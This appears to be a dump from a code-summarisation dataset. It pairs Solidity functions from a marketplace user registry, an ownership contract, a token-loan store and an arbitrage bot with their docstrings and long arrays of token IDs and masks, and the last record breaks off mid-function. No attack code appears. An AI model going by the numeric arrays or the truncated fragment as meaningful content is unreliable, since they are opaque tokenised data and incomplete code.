enum UserType {Buyer, Seller, Arbiter, Owner}
enum UserState {Pending, Approved}
struct User {
bytes32 name;
bytes32 email;
bytes32 phoneNumber;
string profilePicture;
UserType userType;
UserState userState;
bool exists;
}
mapping (address => User) public users;
mapping (uint => address) public usersById;
// mapping (address => address) public storesBySellers;
mapping (uint => address) public sellersById;
mapping (address => uint) public pendingWithdraws;
uint public usersCount;
uint public sellersCount;
modifier onlyExistingUser(address user) { require( owner == msg.sender || users[user].exists, "User is not registered"); _; }
modifier onlyExistingUserID(uint userid) { require(usersById[userid] != 0, "User ID is not registered"); _; }
modifier onlyValidName(bytes32 name) { require(name.length > 0, "Invalid name"); _; }
modifier onlyValidEmail(bytes32 email) { require(!(email == 0x0), "Invalid email"); _; }
modifier onlyValidPhone(bytes32 phoneNumber) { require(!(phoneNumber == 0x0), "Invalid phone number"); _; }
// modifier onlyValidProfilePicture(bytes32 profilePicture) { require(!(profilePicture == 0x0), "Invalid profile picture"); _; }
modifier onlyPendingState(address user) { require( users[user].userState == UserState.Pending, "User not on Pending state."); _; }
modifier onlyApprovedState() { require( users[msg.sender].userState == UserState.Approved, "User not on Approved state."); _; }
modifier onlySeller { require(users[msg.sender].userType == UserType.Seller, "User is not an seller."); _; }
// modifier doesNotHaveStore { require(storesBySellers[msg.sender] != 0x0 , "User already has a store"); _; }
modifier requireArbiter(address _arbiter) { require( users[_arbiter].userType == UserType.Arbiter , "A store require an arbiter."); _; }
event LogDonnationReceived(address sender, uint value);
event LogUserSignUp(address from);
event LogUserUpdated(address from);
event LogUpdateUserState(address userAddress , UserState userState);
event LogUpdateUserType(address userAddress , UserType userType);
event LogCreateStore(string message, address storeAddress, address seller);
/** @dev Login a user an returns its data
* @return User struct
*/
function login()
external
view
onlyExistingUser(msg.sender)
returns (bytes32, bytes32, bytes32, string, UserType, UserState)
{
if (owner == msg.sender)
{
return (
stringToBytes32("Owner"),
stringToBytes32("[email protected]"),
stringToBytes32("12345678"),
"QmYjh5NsDc6LwU3394NbB42WpQbGVsueVSBmod5WACvpte",
UserType.Owner,
UserState.Approved
);
}
return (
users[msg.sender].name,
users[msg.sender].email,
users[msg.sender].phoneNumber,
users[msg.sender].profilePicture,
users[msg.sender].userType,
users[msg.sender].userState
);
}
/** @dev convert strint to bytes32
*/
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
/** @dev signup function to register the user
* @dev Check if user exists.
* @dev If yes, return user data.
* @dev If no, check if name was sent.
* @dev If yes, create and return user.
* @param _name uset name
* @param _email user email
* @param _phoneNumber user phone number
* @param _profilePicture user profile picture
* @param _userType user type
* @return name, email, phoneNumber, profilePicture, userType
*/
function signup(
string _name,
string _email,
string _phoneNumber,
string _profilePicture,
UserType _userType
)
external
payable
// onlyValidName(_name)
// onlyValidEmail(_email)
// onlyValidPhone(_phoneNumber)
// onlyValidProfilePicture(_profilePicture)
returns (uint)
{
if (users[msg.sender].exists) return 0; //exisitng user
externalEnter();
User memory newbie;
newbie.name = stringToBytes32(_name);
newbie.email = stringToBytes32(_email);
newbie.phoneNumber = stringToBytes32(_phoneNumber);
newbie.profilePicture = _profilePicture;
require(newbie.name.length > 0, "Invalid name");
require(newbie.email.length > 0, "Invalid email");
require(newbie.phoneNumber.length > 0, "Invalid phoneNumber");
// require(newbie.profilePicture.length > 0, "Invalid profilePicture");
newbie.userType = _userType;
newbie.exists = true;
if (_userType == UserType.Buyer) {
newbie.userState = UserState.Approved;
} else {
newbie.userState = UserState.Pending;
}
emit LogUserSignUp(msg.sender);
users[msg.sender] = newbie;
usersCount = usersCount.add(1);
usersById[usersCount] = msg.sender;
externalLeave();
return usersCount;
}
/** @dev update user data
*
*/
function update(
bytes32 _name,
bytes32 _email,
bytes32 _phoneNumber,
string _profilePicture
)
external
payable
onlyValidName(_name)
onlyValidEmail(_email)
onlyValidPhone(_phoneNumber)
// onlyValidProfilePicture(_profilePicture)
onlyExistingUser(msg.sender)
returns (bytes32, bytes32, bytes32, string)
{
externalEnter();
emit LogUserUpdated(msg.sender);
users[msg.sender].name = _name;
users[msg.sender].email = _email;
users[msg.sender].phoneNumber = _phoneNumber;
users[msg.sender].profilePicture = _profilePicture;
externalLeave();
return (
users[msg.sender].name,
users[msg.sender].email,
users[msg.sender].phoneNumber,
users[msg.sender].profilePicture
);
}
/** @dev Update user State {Pending, Approved}
* @param _userAddress user address to update
* @param _userState new user State
*/
function updateUserState(address _userAddress, UserState _userState)
external
payable
onlyOwner
onlyExistingUser(_userAddress)
onlyPendingState(_userAddress)
{
externalEnter();
emit LogUpdateUserState(_userAddress, _userState);
users[_userAddress].userState = _userState;
externalLeave();
}
/** @dev Update user Type {Buyer, Seller, Arbiter}
* @param _userAddress user address to update
* @param _userType new user type
*/
function updateUserType (address _userAddress, UserType _userType)
external
payable
onlyOwner
{
externalEnter();
emit LogUpdateUserType(_userAddress , _userType);
users[_userAddress].userType = _userType;
externalLeave();
}
/** @dev using withdraw pattern to prevent attacks
* @dev user has to request withdraw before properly transfer the value
*/
function requestWithdraw()
external
payable
onlyOwner
returns (bool)
{
if (msg.value > 0) {
pendingWithdraws[msg.sender] = pendingWithdraws[msg.sender].add(msg.value);
return true;
} else {
return false;
}
}
/** @dev user effectivelly request withdraw
*/
function withdraw()
external
payable
onlyOwner
{
uint amount = pendingWithdraws[msg.sender];
pendingWithdraws[msg.sender] = 0;
msg.sender.transfer(amount);
}
/** @dev Create new Ecommerce Contract
* @param _name store/market name
* @param _email contact email from store
* @param _storeImage IFPS address of the image
* @param _arbiter address of the partie which is responsible for escrows for the created store
* @return contract address of the store just created and next store number
*/
function createStore(
bytes32 _name,
bytes32 _email,
bytes32 _storeImage,
address _arbiter
)
external
payable
onlySeller
onlyApprovedState
// doesNotHaveStore
onlyValidName(_name)
onlyValidEmail(_email)
// onlyValidProfilePicture(_storeImage)
requireArbiter(_arbiter)
returns (bool)
{
externalEnter();
bool addStoreResult = ecommerce.addStore(_name, _email, _arbiter, _storeImage, msg.sender);
if(addStoreResult)
{
sellersCount = sellersCount.add(1);
sellersById[sellersCount] = msg.sender;
emit LogCreateStore("New store created", msg.sender, msg.sender);
}
externalLeave();
return addStoreResult;
}
/** @dev get a user's data
* @return User struct
*/
function getUser(uint _id)
external
view
onlyExistingUserID(_id)
returns ( address, bytes32, bytes32, bytes32, string, UserType, UserState)
{
User memory user = users[usersById[_id]]; // load product from memory
return (
usersById[_id],
user.name,
user.email,
user.phoneNumber,
user.profilePicture,
user.userType,
user.userState
);
}
}
|
* @dev Update user State {Pending, Approved} @param _userAddress user address to update @param _userState new user State/
|
function updateUserState(address _userAddress, UserState _userState)
external
payable
onlyOwner
onlyExistingUser(_userAddress)
onlyPendingState(_userAddress)
{
externalEnter();
emit LogUpdateUserState(_userAddress, _userState);
users[_userAddress].userState = _userState;
externalLeave();
}
| 14,048,375 |
[
1,
1891,
729,
3287,
288,
8579,
16,
1716,
685,
2155,
97,
225,
389,
1355,
1887,
729,
1758,
358,
1089,
225,
389,
1355,
1119,
394,
729,
3287,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
28213,
1119,
12,
2867,
389,
1355,
1887,
16,
2177,
1119,
389,
1355,
1119,
13,
7010,
3639,
3903,
7010,
3639,
8843,
429,
203,
3639,
1338,
5541,
203,
3639,
1338,
9895,
1299,
24899,
1355,
1887,
13,
203,
3639,
1338,
8579,
1119,
24899,
1355,
1887,
13,
203,
565,
288,
203,
3639,
3903,
10237,
5621,
203,
3639,
3626,
1827,
1891,
1299,
1119,
24899,
1355,
1887,
16,
389,
1355,
1119,
1769,
203,
3639,
3677,
63,
67,
1355,
1887,
8009,
1355,
1119,
273,
389,
1355,
1119,
31,
203,
3639,
3903,
21300,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x014C84740E60d4DBcBd48c2bf9E9404321b41390/sources/contracts/sealSquad.sol
|
@dev change the whitelist price(amount need to be in wei)
|
function setWlCost(uint256 _newWlCost) public onlyOwner {
wlcost = _newWlCost;
}
| 4,404,171 |
[
1,
3427,
326,
10734,
6205,
12,
8949,
1608,
358,
506,
316,
732,
77,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
59,
80,
8018,
12,
11890,
5034,
389,
2704,
59,
80,
8018,
13,
1071,
1338,
5541,
288,
203,
3639,
19564,
12398,
273,
389,
2704,
59,
80,
8018,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
contract Posse {
/// struct para representar o objeto do contrato de posse
struct Objeto {
uint id;
string nome;
string descricao;
}
/// instância do objeto do contrato de posse
/// ex: casa, carro, terreno, bicicleta, barco, ...
Objeto public objeto;
/// dono do objeto
address public dono;
/// valor do objeto
uint public valor;
/// indica se o objeto está a venda
bool public avenda;
/// Evento lançado quando o objeto é liberado para venda
event VendaLiberada(uint id, string objeto);
/// Evento lançado toda vez que o preço for atualizado
event PrecoAtualizado(uint id, string objeto, uint valor);
/// Evento lançado toda vez que a posse for vendida para novo dono
event Comprada(address novo, uint objetoId, string objeto, uint valor);
/// Evento lançado toda vez que a posse for doada
event Doada(address novo, uint objetoId, string objeto);
/// Construtor do contrato de Posse.
/// *ATENÇÃO* Apenas um construtor é permitido.
constructor(uint objetoID, string objetoNome, string objetoDescricao) public {
/// Criar uma instância de Objeto
objeto = Objeto(objetoID, objetoNome, objetoDescricao);
/// Atribuir o dono atual do objeto utilizando o atributo sender
dono = msg.sender;
/// Inicialmente o objeto não está disponível para venda
avenda = false;
}
/// Liberar a venda do objeto
function liberar() public {
/// Somente o dono do objeto pode liberar a venda
require(msg.sender == dono, "Somente o dono pode liberar a venda do objeto");
/// Liberar a venda
avenda = true;
/// Lançar evento sobre liberação da venda
emit VendaLiberada(objeto.id, objeto.nome);
}
/// Atribuir o preço de venda do objeto
function preco(uint _valor) public payable {
/// Somente o dono do objeto pode atribuir preço
require(msg.sender == dono, "Somente o dono pode modificar o preço do objeto");
/// Atribuir novo valor
valor = _valor;
/// Lançar evento sobre a ataulização de preço
emit PrecoAtualizado(objeto.id, objeto.nome, valor);
}
/// Comprar a posse do objeto
function comprar() public payable {
/// O objeto deve estar com a venda liberada
require(avenda, "Objeto não está à venda");
/// O valor da compra deve ser idêntico ao valor do objeto
require(msg.value == valor, "O valor da compra está errado");
/// Transferir o valor pago ao antigo dono
dono.transfer(msg.value);
/// Atribuir novo dono
dono = msg.sender;
/// Objeto volta a bloquear sua venda
avenda = false;
/// Lançar evento sobre a venda da posse
emit Comprada(msg.sender, objeto.id, objeto.nome, msg.value);
}
/// Doar a posse do objeto
function doar(address destino) public {
/// Somente o dono pode doar
require(msg.sender == dono, "Somente o dono pode doar a posse");
/// Destino não pode ser o dono
require(destino != dono, "A doação não deve ser para si mesmo");
/// Atribuir novo dono
dono = destino;
/// Objeto volta a bloquear sua venda
avenda = false;
emit Doada(destino, objeto.id, objeto.nome);
}
}
|
Doar a posse do objeto
|
function doar(address destino) public {
require(msg.sender == dono, "Somente o dono pode doar a posse");
require(destino != dono, "A doação não deve ser para si mesmo");
dono = destino;
avenda = false;
emit Doada(destino, objeto.id, objeto.nome);
| 12,789,148 |
[
1,
3244,
297,
279,
949,
307,
741,
1081,
11453,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
741,
297,
12,
2867,
1570,
15020,
13,
1071,
288,
203,
377,
203,
565,
2583,
12,
3576,
18,
15330,
422,
2727,
83,
16,
315,
55,
7970,
73,
320,
2727,
83,
293,
390,
741,
297,
279,
949,
307,
8863,
203,
203,
565,
2583,
12,
10488,
15020,
480,
2727,
83,
16,
315,
37,
741,
69,
132,
105,
132,
101,
83,
290,
132,
101,
83,
443,
537,
703,
12602,
7533,
15216,
8683,
8863,
203,
203,
565,
2727,
83,
273,
1570,
15020,
31,
203,
203,
565,
1712,
18883,
273,
629,
31,
203,
203,
565,
3626,
2256,
16524,
12,
10488,
15020,
16,
1081,
11453,
18,
350,
16,
1081,
11453,
18,
82,
1742,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.0;
import "./SafeMath.sol";
// ----------------------------------------------------------------------------
// TokenLoan (Storage) Contract.
//
// ----------------------------------------------------------------------------
contract TokenLoanStorage {
using SafeMath for uint;
address public owner;
address payable logicContract;
address[] public previousLogicContracts;
uint public loanID;
struct Loan {
address payable collateralOwner;
address collateralAddress;
bool open;
uint loanType;
uint loanAmount;
uint[] tokens;
mapping(uint => uint) tokenBalances;
}
address[] public acceptedTokens;
mapping(uint => bool) public removedTokens;
mapping(uint => string) public tokenNames;
mapping(bytes32 => uint) public tokenIndexLookUp;
mapping(uint => uint) public totalTokenBalances;
mapping(address => bool) public validCollateralContract;
mapping(uint => Loan) public loans;
mapping(address => uint) public loanIndexLookUp;
// Additional Mappings if required in the future:
mapping(bytes32 => bytes) public ownerMapping;
mapping(bytes32 => bytes) public logicMapping;
mapping(bytes32 => bytes) public collateralMapping;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "You are not the contract owner.");
_;
}
modifier onlyLogicContract {
require(msg.sender == logicContract, "You are not a valid TokenLoan logic contract.");
_;
}
modifier onlyCollateralContract {
require(validCollateralContract[msg.sender], "You are not a valid Collateral contract.");
_;
}
function updateLogicContract (address payable _logicContract) external onlyOwner {
previousLogicContracts.push(logicContract);
logicContract = _logicContract;
}
function addToken (address _tokenAddress, string calldata _tokenName) external onlyOwner {
acceptedTokens.push(_tokenAddress);
tokenNames[acceptedTokens.length.sub(1)] = _tokenName;
bytes memory bytesName = bytes(_tokenName);
bytes32 key = keccak256(bytesName);
tokenIndexLookUp[key] = acceptedTokens.length.sub(1);
}
function removeToken (uint _tokenIndex) external onlyOwner {
removedTokens[_tokenIndex] = true;
}
function setTokenName (uint _token, string calldata _name) external onlyOwner {
tokenNames[_token] = _name;
bytes memory bytesName = bytes(_name);
bytes32 key = keccak256(bytesName);
tokenIndexLookUp[key] = _token;
}
function incrementLoanID() external onlyLogicContract {
loanID = loanID.add(1);
}
function setValidCollateralContract (address _collateralContract, bool _value) external onlyLogicContract {
validCollateralContract[_collateralContract] = _value;
}
function updateLoanTokenBalance(uint _loanID, uint _token, uint _balance) external onlyLogicContract {
loans[_loanID].tokenBalances[_token] = _balance;
}
function updateLoan(uint _loanID, address payable _collateralOwner, address _collateralAddress, bool _open, uint _loanType, uint _loanAmount, uint[] calldata _tokens) external onlyLogicContract {
loans[_loanID].collateralOwner = _collateralOwner;
loans[_loanID].collateralAddress = _collateralAddress;
loans[_loanID].open = _open;
loans[_loanID].loanType = _loanType;
loans[_loanID].loanAmount = _loanAmount;
loans[_loanID].tokens = _tokens;
}
function updateTotalTokenBalances (uint _token, uint _balance) external onlyLogicContract {
totalTokenBalances[_token] = _balance;
}
function updateLoanIndexLookUp (address _address, uint _loanID) external onlyLogicContract {
loanIndexLookUp[_address] = _loanID;
}
function loanCollateralAddress(uint _loanID) external view returns (address) {
return loans[_loanID].collateralAddress;
}
function loanCollateralOwner(uint _loanID) external view returns (address payable) {
return loans[_loanID].collateralOwner;
}
function loanOpen(uint _loanID) external view returns (bool) {
return loans[_loanID].open;
}
function loanType(uint _loanID) external view returns (uint) {
return loans[_loanID].loanType;
}
function loanAmount(uint _loanID) external view returns (uint) {
return loans[_loanID].loanAmount;
}
function loanTokens(uint _loanID) external view returns (uint[] memory) {
return loans[_loanID].tokens;
}
// Setters for future mappings if required:
function updateOwnerMapping (bytes32 _key, bytes calldata _value) external onlyOwner {
ownerMapping[_key] = _value;
}
function updateLogicMapping (bytes32 _key, bytes calldata _value) external onlyLogicContract {
logicMapping[_key] = _value;
}
function updateCollateralMapping (bytes32 _key, bytes calldata _value) external onlyCollateralContract {
collateralMapping[_key] = _value;
}
}
|
Additional Mappings if required in the future:
|
mapping(bytes32 => bytes) public ownerMapping;
| 14,042,608 |
[
1,
10552,
1635,
4675,
309,
1931,
316,
326,
3563,
30,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
3890,
1578,
516,
1731,
13,
1071,
3410,
3233,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x286845E2C25dC1326D891f72aa1D9213929c2507/sources/arbitrager.sol
|
IERC20(BytesLib.toAddress(bts1,68)).approve(address1,amountIn); BytesLib.toAddress(bts1,68).call(abi.encodeWithSelector(0x095ea7b3, address1, BytesLib.toUint(bts1,108)));!!!!!!!!!!!!!!!!lackOf in Mainnet BytesLib.toAddress(bts2,68).call(abi.encodeWithSelector(0x095ea7b3, address2, BytesLib.toUint(bts2,108))); IERC20(BytesLib.toAddress(bts2,68)).approve(address2,BytesLib.toUint(bts2,108)); BytesLib.toAddress(bts3,68).call(abi.encodeWithSelector(0x095ea7b3, address3, BytesLib.toUint(bts3,108)));
|
function swap3(address address1,bytes calldata bts1,address address2,bytes calldata bts2,address address3,bytes calldata bts3,uint thr)external onlyOwner{
uint start=weth.balanceOf(address(this));
